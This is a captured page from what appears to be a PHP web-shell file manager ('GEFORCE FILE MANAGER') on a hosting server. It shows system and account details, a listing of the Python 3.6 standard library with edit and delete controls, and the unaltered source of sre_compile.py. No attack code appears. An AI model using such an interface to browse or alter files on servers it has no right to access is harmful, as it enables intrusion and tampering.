[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
lib64
/
python3.6
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
π __pycache__
SET
[ DEL ]
π asyncio
SET
[ DEL ]
π collections
SET
[ DEL ]
π concurrent
SET
[ DEL ]
π config-3.6m-x86_64-linux-gnu
SET
[ DEL ]
π ctypes
SET
[ DEL ]
π curses
SET
[ DEL ]
π dbm
SET
[ DEL ]
π distutils
SET
[ DEL ]
π email
SET
[ DEL ]
π encodings
SET
[ DEL ]
π ensurepip
SET
[ DEL ]
π html
SET
[ DEL ]
π http
SET
[ DEL ]
π importlib
SET
[ DEL ]
π json
SET
[ DEL ]
π lib-dynload
SET
[ DEL ]
π lib2to3
SET
[ DEL ]
π logging
SET
[ DEL ]
π multiprocessing
SET
[ DEL ]
π pydoc_data
SET
[ DEL ]
π site-packages
SET
[ DEL ]
π sqlite3
SET
[ DEL ]
π test
SET
[ DEL ]
π unittest
SET
[ DEL ]
π urllib
SET
[ DEL ]
π venv
SET
[ DEL ]
π wsgiref
SET
[ DEL ]
π xml
SET
[ DEL ]
π xmlrpc
SET
[ DEL ]
π __future__.py
4,841 B
SET
[ EDIT ]
|
[ DEL ]
π __phello__.foo.py
64 B
SET
[ EDIT ]
|
[ DEL ]
π _bootlocale.py
1,301 B
SET
[ EDIT ]
|
[ DEL ]
π _collections_abc.py
26,392 B
SET
[ EDIT ]
|
[ DEL ]
π _compat_pickle.py
8,749 B
SET
[ EDIT ]
|
[ DEL ]
π _compression.py
5,340 B
SET
[ EDIT ]
|
[ DEL ]
π _dummy_thread.py
5,118 B
SET
[ EDIT ]
|
[ DEL ]
π _markupbase.py
14,598 B
SET
[ EDIT ]
|
[ DEL ]
π _osx_support.py
19,138 B
SET
[ EDIT ]
|
[ DEL ]
π _pydecimal.py
230,228 B
SET
[ EDIT ]
|
[ DEL ]
π _pyio.py
88,097 B
SET
[ EDIT ]
|
[ DEL ]
π _sitebuiltins.py
3,115 B
SET
[ EDIT ]
|
[ DEL ]
π _strptime.py
24,747 B
SET
[ EDIT ]
|
[ DEL ]
π _sysconfigdata_dm_linux_x86_64-linux-gnu.py
30,191 B
SET
[ EDIT ]
|
[ DEL ]
π _sysconfigdata_m_linux_x86_64-linux-gnu.py
30,367 B
SET
[ EDIT ]
|
[ DEL ]
π _threading_local.py
7,214 B
SET
[ EDIT ]
|
[ DEL ]
π _weakrefset.py
5,705 B
SET
[ EDIT ]
|
[ DEL ]
π abc.py
8,727 B
SET
[ EDIT ]
|
[ DEL ]
π aifc.py
32,454 B
SET
[ EDIT ]
|
[ DEL ]
π antigravity.py
477 B
SET
[ EDIT ]
|
[ DEL ]
π argparse.py
90,372 B
SET
[ EDIT ]
|
[ DEL ]
π ast.py
12,166 B
SET
[ EDIT ]
|
[ DEL ]
π asynchat.py
11,328 B
SET
[ EDIT ]
|
[ DEL ]
π asyncore.py
20,159 B
SET
[ EDIT ]
|
[ DEL ]
π base64.py
20,388 B
SET
[ EDIT ]
|
[ DEL ]
π bdb.py
23,556 B
SET
[ EDIT ]
|
[ DEL ]
π binhex.py
13,954 B
SET
[ EDIT ]
|
[ DEL ]
π bisect.py
2,595 B
SET
[ EDIT ]
|
[ DEL ]
π bz2.py
12,478 B
SET
[ EDIT ]
|
[ DEL ]
π cProfile.py
5,380 B
SET
[ EDIT ]
|
[ DEL ]
π calendar.py
23,213 B
SET
[ EDIT ]
|
[ DEL ]
π cgi.py
37,219 B
SET
[ EDIT ]
|
[ DEL ]
π cgitb.py
12,018 B
SET
[ EDIT ]
|
[ DEL ]
π chunk.py
5,425 B
SET
[ EDIT ]
|
[ DEL ]
π cmd.py
14,860 B
SET
[ EDIT ]
|
[ DEL ]
π code.py
10,614 B
SET
[ EDIT ]
|
[ DEL ]
π codecs.py
36,276 B
SET
[ EDIT ]
|
[ DEL ]
π codeop.py
5,994 B
SET
[ EDIT ]
|
[ DEL ]
π colorsys.py
4,064 B
SET
[ EDIT ]
|
[ DEL ]
π compileall.py
12,125 B
SET
[ EDIT ]
|
[ DEL ]
π configparser.py
53,592 B
SET
[ EDIT ]
|
[ DEL ]
π contextlib.py
13,162 B
SET
[ EDIT ]
|
[ DEL ]
π copy.py
8,815 B
SET
[ EDIT ]
|
[ DEL ]
π copyreg.py
7,007 B
SET
[ EDIT ]
|
[ DEL ]
π crypt.py
1,864 B
SET
[ EDIT ]
|
[ DEL ]
π csv.py
16,180 B
SET
[ EDIT ]
|
[ DEL ]
π datetime.py
82,034 B
SET
[ EDIT ]
|
[ DEL ]
π decimal.py
320 B
SET
[ EDIT ]
|
[ DEL ]
π difflib.py
84,377 B
SET
[ EDIT ]
|
[ DEL ]
π dis.py
18,132 B
SET
[ EDIT ]
|
[ DEL ]
π doctest.py
104,391 B
SET
[ EDIT ]
|
[ DEL ]
π dummy_threading.py
2,815 B
SET
[ EDIT ]
|
[ DEL ]
π enum.py
33,606 B
SET
[ EDIT ]
|
[ DEL ]
π filecmp.py
9,830 B
SET
[ EDIT ]
|
[ DEL ]
π fileinput.py
14,471 B
SET
[ EDIT ]
|
[ DEL ]
π fnmatch.py
3,166 B
SET
[ EDIT ]
|
[ DEL ]
π formatter.py
15,143 B
SET
[ EDIT ]
|
[ DEL ]
π fractions.py
23,639 B
SET
[ EDIT ]
|
[ DEL ]
π ftplib.py
35,617 B
SET
[ EDIT ]
|
[ DEL ]
π functools.py
31,346 B
SET
[ EDIT ]
|
[ DEL ]
π genericpath.py
5,028 B
SET
[ EDIT ]
|
[ DEL ]
π getopt.py
7,489 B
SET
[ EDIT ]
|
[ DEL ]
π getpass.py
5,994 B
SET
[ EDIT ]
|
[ DEL ]
π gettext.py
21,530 B
SET
[ EDIT ]
|
[ DEL ]
π glob.py
5,638 B
SET
[ EDIT ]
|
[ DEL ]
π gzip.py
20,334 B
SET
[ EDIT ]
|
[ DEL ]
π hashlib.py
8,799 B
SET
[ EDIT ]
|
[ DEL ]
π heapq.py
22,929 B
SET
[ EDIT ]
|
[ DEL ]
π hmac.py
6,381 B
SET
[ EDIT ]
|
[ DEL ]
π imaplib.py
53,464 B
SET
[ EDIT ]
|
[ DEL ]
π imghdr.py
3,795 B
SET
[ EDIT ]
|
[ DEL ]
π imp.py
10,669 B
SET
[ EDIT ]
|
[ DEL ]
π inspect.py
116,958 B
SET
[ EDIT ]
|
[ DEL ]
π io.py
3,517 B
SET
[ EDIT ]
|
[ DEL ]
π ipaddress.py
77,818 B
SET
[ EDIT ]
|
[ DEL ]
π keyword.py
2,219 B
SET
[ EDIT ]
|
[ DEL ]
π linecache.py
5,312 B
SET
[ EDIT ]
|
[ DEL ]
π locale.py
77,300 B
SET
[ EDIT ]
|
[ DEL ]
π lzma.py
12,983 B
SET
[ EDIT ]
|
[ DEL ]
π macpath.py
5,971 B
SET
[ EDIT ]
|
[ DEL ]
π macurl2path.py
2,732 B
SET
[ EDIT ]
|
[ DEL ]
π mailbox.py
78,624 B
SET
[ EDIT ]
|
[ DEL ]
π mailcap.py
9,067 B
SET
[ EDIT ]
|
[ DEL ]
π mimetypes.py
21,042 B
SET
[ EDIT ]
|
[ DEL ]
π modulefinder.py
23,027 B
SET
[ EDIT ]
|
[ DEL ]
π netrc.py
5,684 B
SET
[ EDIT ]
|
[ DEL ]
π nntplib.py
43,078 B
SET
[ EDIT ]
|
[ DEL ]
π ntpath.py
23,094 B
SET
[ EDIT ]
|
[ DEL ]
π nturl2path.py
2,444 B
SET
[ EDIT ]
|
[ DEL ]
π numbers.py
10,243 B
SET
[ EDIT ]
|
[ DEL ]
π opcode.py
5,822 B
SET
[ EDIT ]
|
[ DEL ]
π operator.py
10,863 B
SET
[ EDIT ]
|
[ DEL ]
π optparse.py
60,371 B
SET
[ EDIT ]
|
[ DEL ]
π os.py
37,526 B
SET
[ EDIT ]
|
[ DEL ]
π pathlib.py
46,238 B
SET
[ EDIT ]
|
[ DEL ]
π pdb.py
61,320 B
SET
[ EDIT ]
|
[ DEL ]
π pickle.py
55,691 B
SET
[ EDIT ]
|
[ DEL ]
π pickletools.py
91,775 B
SET
[ EDIT ]
|
[ DEL ]
π pipes.py
8,916 B
SET
[ EDIT ]
|
[ DEL ]
π pkgutil.py
21,315 B
SET
[ EDIT ]
|
[ DEL ]
π platform.py
47,214 B
SET
[ EDIT ]
|
[ DEL ]
π plistlib.py
32,291 B
SET
[ EDIT ]
|
[ DEL ]
π poplib.py
15,087 B
SET
[ EDIT ]
|
[ DEL ]
π posixpath.py
16,324 B
SET
[ EDIT ]
|
[ DEL ]
π pprint.py
20,860 B
SET
[ EDIT ]
|
[ DEL ]
π profile.py
22,029 B
SET
[ EDIT ]
|
[ DEL ]
π pstats.py
26,564 B
SET
[ EDIT ]
|
[ DEL ]
π pty.py
4,763 B
SET
[ EDIT ]
|
[ DEL ]
π py_compile.py
7,181 B
SET
[ EDIT ]
|
[ DEL ]
π pyclbr.py
13,558 B
SET
[ EDIT ]
|
[ DEL ]
π pydoc.py
103,501 B
SET
[ EDIT ]
|
[ DEL ]
π queue.py
8,780 B
SET
[ EDIT ]
|
[ DEL ]
π quopri.py
7,262 B
SET
[ EDIT ]
|
[ DEL ]
π random.py
27,442 B
SET
[ EDIT ]
|
[ DEL ]
π re.py
15,552 B
SET
[ EDIT ]
|
[ DEL ]
π reprlib.py
5,336 B
SET
[ EDIT ]
|
[ DEL ]
π rlcompleter.py
7,097 B
SET
[ EDIT ]
|
[ DEL ]
π runpy.py
11,959 B
SET
[ EDIT ]
|
[ DEL ]
π sched.py
6,511 B
SET
[ EDIT ]
|
[ DEL ]
π secrets.py
2,038 B
SET
[ EDIT ]
|
[ DEL ]
π selectors.py
19,438 B
SET
[ EDIT ]
|
[ DEL ]
π shelve.py
8,515 B
SET
[ EDIT ]
|
[ DEL ]
π shlex.py
12,956 B
SET
[ EDIT ]
|
[ DEL ]
π shutil.py
40,829 B
SET
[ EDIT ]
|
[ DEL ]
π signal.py
2,123 B
SET
[ EDIT ]
|
[ DEL ]
π site.py
21,268 B
SET
[ EDIT ]
|
[ DEL ]
π smtpd.py
34,719 B
SET
[ EDIT ]
|
[ DEL ]
π smtplib.py
44,218 B
SET
[ EDIT ]
|
[ DEL ]
π sndhdr.py
7,088 B
SET
[ EDIT ]
|
[ DEL ]
π socket.py
27,443 B
SET
[ EDIT ]
|
[ DEL ]
π socketserver.py
27,010 B
SET
[ EDIT ]
|
[ DEL ]
π sre_compile.py
19,338 B
SET
[ EDIT ]
|
[ DEL ]
π sre_constants.py
6,821 B
SET
[ EDIT ]
|
[ DEL ]
π sre_parse.py
36,536 B
SET
[ EDIT ]
|
[ DEL ]
π ssl.py
44,509 B
SET
[ EDIT ]
|
[ DEL ]
π stat.py
5,038 B
SET
[ EDIT ]
|
[ DEL ]
π statistics.py
20,673 B
SET
[ EDIT ]
|
[ DEL ]
π string.py
11,795 B
SET
[ EDIT ]
|
[ DEL ]
π stringprep.py
12,917 B
SET
[ EDIT ]
|
[ DEL ]
π struct.py
257 B
SET
[ EDIT ]
|
[ DEL ]
π subprocess.py
62,339 B
SET
[ EDIT ]
|
[ DEL ]
π sunau.py
18,095 B
SET
[ EDIT ]
|
[ DEL ]
π symbol.py
2,119 B
SET
[ EDIT ]
|
[ DEL ]
π symtable.py
7,277 B
SET
[ EDIT ]
|
[ DEL ]
π sysconfig.py
24,876 B
SET
[ EDIT ]
|
[ DEL ]
π tabnanny.py
11,411 B
SET
[ EDIT ]
|
[ DEL ]
π tarfile.py
111,635 B
SET
[ EDIT ]
|
[ DEL ]
π telnetlib.py
23,136 B
SET
[ EDIT ]
|
[ DEL ]
π tempfile.py
28,066 B
SET
[ EDIT ]
|
[ DEL ]
π textwrap.py
19,558 B
SET
[ EDIT ]
|
[ DEL ]
π this.py
1,003 B
SET
[ EDIT ]
|
[ DEL ]
π threading.py
50,136 B
SET
[ EDIT ]
|
[ DEL ]
π timeit.py
13,342 B
SET
[ EDIT ]
|
[ DEL ]
π token.py
3,075 B
SET
[ EDIT ]
|
[ DEL ]
π tokenize.py
29,496 B
SET
[ EDIT ]
|
[ DEL ]
π trace.py
28,733 B
SET
[ EDIT ]
|
[ DEL ]
π traceback.py
23,458 B
SET
[ EDIT ]
|
[ DEL ]
π tracemalloc.py
16,658 B
SET
[ EDIT ]
|
[ DEL ]
π tty.py
879 B
SET
[ EDIT ]
|
[ DEL ]
π types.py
8,870 B
SET
[ EDIT ]
|
[ DEL ]
π typing.py
80,274 B
SET
[ EDIT ]
|
[ DEL ]
π uu.py
6,763 B
SET
[ EDIT ]
|
[ DEL ]
π uuid.py
24,020 B
SET
[ EDIT ]
|
[ DEL ]
π warnings.py
18,488 B
SET
[ EDIT ]
|
[ DEL ]
π wave.py
17,709 B
SET
[ EDIT ]
|
[ DEL ]
π weakref.py
20,466 B
SET
[ EDIT ]
|
[ DEL ]
π webbrowser.py
22,238 B
SET
[ EDIT ]
|
[ DEL ]
π xdrlib.py
5,913 B
SET
[ EDIT ]
|
[ DEL ]
π zipapp.py
7,157 B
SET
[ EDIT ]
|
[ DEL ]
π zipfile.py
79,924 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: sre_compile.py
# # Secret Labs' Regular Expression Engine # # convert template to internal format # # Copyright (c) 1997-2001 by Secret Labs AB. All rights reserved. # # See the sre.py file for information on usage and redistribution. # """Internal support module for sre""" import _sre import sre_parse from sre_constants import * assert _sre.MAGIC == MAGIC, "SRE module mismatch" _LITERAL_CODES = {LITERAL, NOT_LITERAL} _REPEATING_CODES = {REPEAT, MIN_REPEAT, MAX_REPEAT} _SUCCESS_CODES = {SUCCESS, FAILURE} _ASSERT_CODES = {ASSERT, ASSERT_NOT} # Sets of lowercase characters which have the same uppercase. _equivalences = ( # LATIN SMALL LETTER I, LATIN SMALL LETTER DOTLESS I (0x69, 0x131), # iΔ± # LATIN SMALL LETTER S, LATIN SMALL LETTER LONG S (0x73, 0x17f), # sΕΏ # MICRO SIGN, GREEK SMALL LETTER MU (0xb5, 0x3bc), # ¡μ # COMBINING GREEK YPOGEGRAMMENI, GREEK SMALL LETTER IOTA, GREEK PROSGEGRAMMENI (0x345, 0x3b9, 0x1fbe), # \u0345ΞΉαΎΎ # GREEK SMALL LETTER IOTA WITH DIALYTIKA AND TONOS, GREEK SMALL LETTER IOTA WITH DIALYTIKA AND OXIA (0x390, 0x1fd3), # ΞαΏ # GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND TONOS, GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND OXIA (0x3b0, 0x1fe3), # Ξ°αΏ£ # GREEK SMALL LETTER BETA, GREEK BETA SYMBOL (0x3b2, 0x3d0), # Ξ²Ο # GREEK SMALL LETTER EPSILON, GREEK LUNATE EPSILON SYMBOL (0x3b5, 0x3f5), # Ρϡ # GREEK SMALL LETTER THETA, GREEK THETA SYMBOL (0x3b8, 0x3d1), # ΞΈΟ # GREEK SMALL LETTER KAPPA, GREEK KAPPA SYMBOL (0x3ba, 0x3f0), # ΞΊΟ° # GREEK SMALL LETTER PI, GREEK PI SYMBOL (0x3c0, 0x3d6), # ΟΟ # GREEK SMALL LETTER RHO, GREEK RHO SYMBOL (0x3c1, 0x3f1), # ΟΟ± # GREEK SMALL LETTER FINAL SIGMA, GREEK SMALL LETTER SIGMA (0x3c2, 0x3c3), # ΟΟ # GREEK SMALL LETTER PHI, GREEK PHI SYMBOL (0x3c6, 0x3d5), # ΟΟ # LATIN SMALL LETTER S WITH DOT ABOVE, LATIN SMALL LETTER LONG S WITH DOT ABOVE (0x1e61, 0x1e9b), # αΉ‘αΊ # LATIN SMALL LIGATURE LONG S T, LATIN SMALL LIGATURE ST (0xfb05, 0xfb06), # ο¬ ο¬ ) # Maps the lowercase code to lowercase codes which have the same uppercase. _ignorecase_fixes = {i: tuple(j for j in t if i != j) for t in _equivalences for i in t} def _compile(code, pattern, flags): # internal: compile a (sub)pattern emit = code.append _len = len LITERAL_CODES = _LITERAL_CODES REPEATING_CODES = _REPEATING_CODES SUCCESS_CODES = _SUCCESS_CODES ASSERT_CODES = _ASSERT_CODES if (flags & SRE_FLAG_IGNORECASE and not (flags & SRE_FLAG_LOCALE) and flags & SRE_FLAG_UNICODE and not (flags & SRE_FLAG_ASCII)): fixes = _ignorecase_fixes else: fixes = None for op, av in pattern: if op in LITERAL_CODES: if flags & SRE_FLAG_IGNORECASE: lo = _sre.getlower(av, flags) if fixes and lo in fixes: emit(IN_IGNORE) skip = _len(code); emit(0) if op is NOT_LITERAL: emit(NEGATE) for k in (lo,) + fixes[lo]: emit(LITERAL) emit(k) emit(FAILURE) code[skip] = _len(code) - skip else: emit(OP_IGNORE[op]) emit(lo) else: emit(op) emit(av) elif op is IN: if flags & SRE_FLAG_IGNORECASE: emit(OP_IGNORE[op]) def fixup(literal, flags=flags): return _sre.getlower(literal, flags) else: emit(op) fixup = None skip = _len(code); emit(0) _compile_charset(av, flags, code, fixup, fixes) code[skip] = _len(code) - skip elif op is ANY: if flags & SRE_FLAG_DOTALL: emit(ANY_ALL) else: emit(ANY) elif op in REPEATING_CODES: if flags & SRE_FLAG_TEMPLATE: raise error("internal: unsupported template operator %r" % (op,)) elif _simple(av) and op is not REPEAT: if op is MAX_REPEAT: emit(REPEAT_ONE) else: emit(MIN_REPEAT_ONE) skip = _len(code); emit(0) emit(av[0]) emit(av[1]) _compile(code, av[2], flags) emit(SUCCESS) code[skip] = _len(code) - skip else: emit(REPEAT) skip = _len(code); emit(0) emit(av[0]) emit(av[1]) _compile(code, av[2], flags) code[skip] = _len(code) - skip if op is MAX_REPEAT: emit(MAX_UNTIL) else: emit(MIN_UNTIL) elif op is SUBPATTERN: group, add_flags, del_flags, p = av if group: emit(MARK) emit((group-1)*2) # _compile_info(code, p, (flags | add_flags) & ~del_flags) _compile(code, p, (flags | add_flags) & ~del_flags) if group: emit(MARK) emit((group-1)*2+1) elif op in SUCCESS_CODES: emit(op) elif op in ASSERT_CODES: emit(op) skip = _len(code); emit(0) if av[0] >= 0: emit(0) # look ahead else: lo, hi = av[1].getwidth() if lo != hi: raise error("look-behind requires fixed-width pattern") emit(lo) # look behind _compile(code, av[1], flags) emit(SUCCESS) code[skip] = _len(code) - skip elif op is CALL: emit(op) skip = _len(code); emit(0) _compile(code, av, flags) emit(SUCCESS) code[skip] = _len(code) - skip elif op is AT: emit(op) if flags & SRE_FLAG_MULTILINE: av = AT_MULTILINE.get(av, av) if flags & SRE_FLAG_LOCALE: av = AT_LOCALE.get(av, av) elif (flags & SRE_FLAG_UNICODE) and not (flags & SRE_FLAG_ASCII): av = AT_UNICODE.get(av, av) emit(av) elif op is BRANCH: emit(op) tail = [] tailappend = tail.append for av in av[1]: skip = _len(code); emit(0) # _compile_info(code, av, flags) _compile(code, av, flags) emit(JUMP) tailappend(_len(code)); emit(0) code[skip] = _len(code) - skip emit(FAILURE) # end of branch for tail in tail: code[tail] = _len(code) - tail elif op is CATEGORY: emit(op) if flags & SRE_FLAG_LOCALE: av = CH_LOCALE[av] elif (flags & SRE_FLAG_UNICODE) and not (flags & SRE_FLAG_ASCII): av = CH_UNICODE[av] emit(av) elif op is GROUPREF: if flags & SRE_FLAG_IGNORECASE: emit(OP_IGNORE[op]) else: emit(op) emit(av-1) elif op is GROUPREF_EXISTS: emit(op) emit(av[0]-1) skipyes = _len(code); emit(0) _compile(code, av[1], flags) if av[2]: emit(JUMP) skipno = _len(code); emit(0) code[skipyes] = _len(code) - skipyes + 1 _compile(code, av[2], flags) code[skipno] = _len(code) - skipno else: code[skipyes] = _len(code) - skipyes + 1 else: raise error("internal: unsupported operand type %r" % (op,)) def _compile_charset(charset, flags, code, fixup=None, fixes=None): # compile charset subprogram emit = code.append for op, av in _optimize_charset(charset, fixup, fixes): emit(op) if op is NEGATE: pass elif op is LITERAL: emit(av) elif op is RANGE or op is RANGE_IGNORE: emit(av[0]) emit(av[1]) elif op is CHARSET: code.extend(av) elif op is BIGCHARSET: code.extend(av) elif op is CATEGORY: if flags & SRE_FLAG_LOCALE: emit(CH_LOCALE[av]) elif (flags & SRE_FLAG_UNICODE) and not (flags & SRE_FLAG_ASCII): emit(CH_UNICODE[av]) else: emit(av) else: raise error("internal: unsupported set operator %r" % (op,)) emit(FAILURE) def _optimize_charset(charset, fixup, fixes): # internal: optimize character set out = [] tail = [] charmap = bytearray(256) for op, av in charset: while True: try: if op is LITERAL: if fixup: lo = fixup(av) charmap[lo] = 1 if fixes and lo in fixes: for k in fixes[lo]: charmap[k] = 1 else: charmap[av] = 1 elif op is RANGE: r = range(av[0], av[1]+1) if fixup: r = map(fixup, r) if fixup and fixes: for i in r: charmap[i] = 1 if i in fixes: for k in fixes[i]: charmap[k] = 1 else: for i in r: charmap[i] = 1 elif op is NEGATE: out.append((op, av)) else: tail.append((op, av)) except IndexError: if len(charmap) == 256: # character set contains non-UCS1 character codes charmap += b'\0' * 0xff00 continue # Character set contains non-BMP character codes. # There are only two ranges of cased non-BMP characters: # 10400-1044F (Deseret) and 118A0-118DF (Warang Citi), # and for both ranges RANGE_IGNORE works. if fixup and op is RANGE: op = RANGE_IGNORE tail.append((op, av)) break # compress character map runs = [] q = 0 while True: p = charmap.find(1, q) if p < 0: break if len(runs) >= 2: runs = None break q = charmap.find(0, p) if q < 0: runs.append((p, len(charmap))) break runs.append((p, q)) if runs is not None: # use literal/range for p, q in runs: if q - p == 1: out.append((LITERAL, p)) else: out.append((RANGE, (p, q - 1))) out += tail # if the case was changed or new representation is more compact if fixup or len(out) < len(charset): return out # else original character set is good enough return charset # use bitmap if len(charmap) == 256: data = _mk_bitmap(charmap) out.append((CHARSET, data)) out += tail return out # To represent a big charset, first a bitmap of all characters in the # set is constructed. Then, this bitmap is sliced into chunks of 256 # characters, duplicate chunks are eliminated, and each chunk is # given a number. In the compiled expression, the charset is # represented by a 32-bit word sequence, consisting of one word for # the number of different chunks, a sequence of 256 bytes (64 words) # of chunk numbers indexed by their original chunk position, and a # sequence of 256-bit chunks (8 words each). # Compression is normally good: in a typical charset, large ranges of # Unicode will be either completely excluded (e.g. if only cyrillic # letters are to be matched), or completely included (e.g. if large # subranges of Kanji match). These ranges will be represented by # chunks of all one-bits or all zero-bits. # Matching can be also done efficiently: the more significant byte of # the Unicode character is an index into the chunk number, and the # less significant byte is a bit index in the chunk (just like the # CHARSET matching). charmap = bytes(charmap) # should be hashable comps = {} mapping = bytearray(256) block = 0 data = bytearray() for i in range(0, 65536, 256): chunk = charmap[i: i + 256] if chunk in comps: mapping[i // 256] = comps[chunk] else: mapping[i // 256] = comps[chunk] = block block += 1 data += chunk data = _mk_bitmap(data) data[0:0] = [block] + _bytes_to_codes(mapping) out.append((BIGCHARSET, data)) out += tail return out _CODEBITS = _sre.CODESIZE * 8 MAXCODE = (1 << _CODEBITS) - 1 _BITS_TRANS = b'0' + b'1' * 255 def _mk_bitmap(bits, _CODEBITS=_CODEBITS, _int=int): s = bits.translate(_BITS_TRANS)[::-1] return [_int(s[i - _CODEBITS: i], 2) for i in range(len(s), 0, -_CODEBITS)] def _bytes_to_codes(b): # Convert block indices to word array a = memoryview(b).cast('I') assert a.itemsize == _sre.CODESIZE assert len(a) * a.itemsize == len(b) return a.tolist() def _simple(av): # check if av is a "simple" operator lo, hi = av[2].getwidth() return lo == hi == 1 and av[2][0][0] != SUBPATTERN def _generate_overlap_table(prefix): """ Generate an overlap table for the following prefix. An overlap table is a table of the same size as the prefix which informs about the potential self-overlap for each index in the prefix: - if overlap[i] == 0, prefix[i:] can't overlap prefix[0:...] - if overlap[i] == k with 0 < k <= i, prefix[i-k+1:i+1] overlaps with prefix[0:k] """ table = [0] * len(prefix) for i in range(1, len(prefix)): idx = table[i - 1] while prefix[i] != prefix[idx]: if idx == 0: table[i] = 0 break idx = table[idx - 1] else: table[i] = idx + 1 return table def _get_literal_prefix(pattern): # look for literal prefix prefix = [] prefixappend = prefix.append prefix_skip = None for op, av in pattern.data: if op is LITERAL: prefixappend(av) elif op is SUBPATTERN: group, add_flags, del_flags, p = av if add_flags & SRE_FLAG_IGNORECASE: break prefix1, prefix_skip1, got_all = _get_literal_prefix(p) if prefix_skip is None: if group is not None: prefix_skip = len(prefix) elif prefix_skip1 is not None: prefix_skip = len(prefix) + prefix_skip1 prefix.extend(prefix1) if not got_all: break else: break else: return prefix, prefix_skip, True return prefix, prefix_skip, False def _get_charset_prefix(pattern): charset = [] # not used charsetappend = charset.append if pattern.data: op, av = pattern.data[0] if op is SUBPATTERN: group, add_flags, del_flags, p = av if p and not (add_flags & SRE_FLAG_IGNORECASE): op, av = p[0] if op is LITERAL: charsetappend((op, av)) elif op is BRANCH: c = [] cappend = c.append for p in av[1]: if not p: break op, av = p[0] if op is LITERAL: cappend((op, av)) else: break else: charset = c elif op is BRANCH: c = [] cappend = c.append for p in av[1]: if not p: break op, av = p[0] if op is LITERAL: cappend((op, av)) else: break else: charset = c elif op is IN: charset = av return charset def _compile_info(code, pattern, flags): # internal: compile an info block. in the current version, # this contains min/max pattern width, and an optional literal # prefix or a character map lo, hi = pattern.getwidth() if hi > MAXCODE: hi = MAXCODE if lo == 0: code.extend([INFO, 4, 0, lo, hi]) return # look for a literal prefix prefix = [] prefix_skip = 0 charset = [] # not used if not (flags & SRE_FLAG_IGNORECASE): # look for literal prefix prefix, prefix_skip, got_all = _get_literal_prefix(pattern) # if no prefix, look for charset prefix if not prefix: charset = _get_charset_prefix(pattern) ## if prefix: ## print("*** PREFIX", prefix, prefix_skip) ## if charset: ## print("*** CHARSET", charset) # add an info block emit = code.append emit(INFO) skip = len(code); emit(0) # literal flag mask = 0 if prefix: mask = SRE_INFO_PREFIX if prefix_skip is None and got_all: mask = mask | SRE_INFO_LITERAL elif charset: mask = mask | SRE_INFO_CHARSET emit(mask) # pattern length if lo < MAXCODE: emit(lo) else: emit(MAXCODE) prefix = prefix[:MAXCODE] emit(min(hi, MAXCODE)) # add literal prefix if prefix: emit(len(prefix)) # length if prefix_skip is None: prefix_skip = len(prefix) emit(prefix_skip) # skip code.extend(prefix) # generate overlap table code.extend(_generate_overlap_table(prefix)) elif charset: _compile_charset(charset, flags, code) code[skip] = len(code) - skip def isstring(obj): return isinstance(obj, (str, bytes)) def _code(p, flags): flags = p.pattern.flags | flags code = [] # compile info block _compile_info(code, p, flags) # compile the pattern _compile(code, p.data, flags) code.append(SUCCESS) return code def compile(p, flags=0): # internal: convert pattern list to internal format if isstring(p): pattern = p p = sre_parse.parse(p, flags) else: pattern = None code = _code(p, flags) # print(code) # map in either direction groupindex = p.pattern.groupdict indexgroup = [None] * p.pattern.groups for k, i in groupindex.items(): indexgroup[i] = k return _sre.compile( pattern, flags | p.pattern.flags, code, p.pattern.groups-1, groupindex, indexgroup )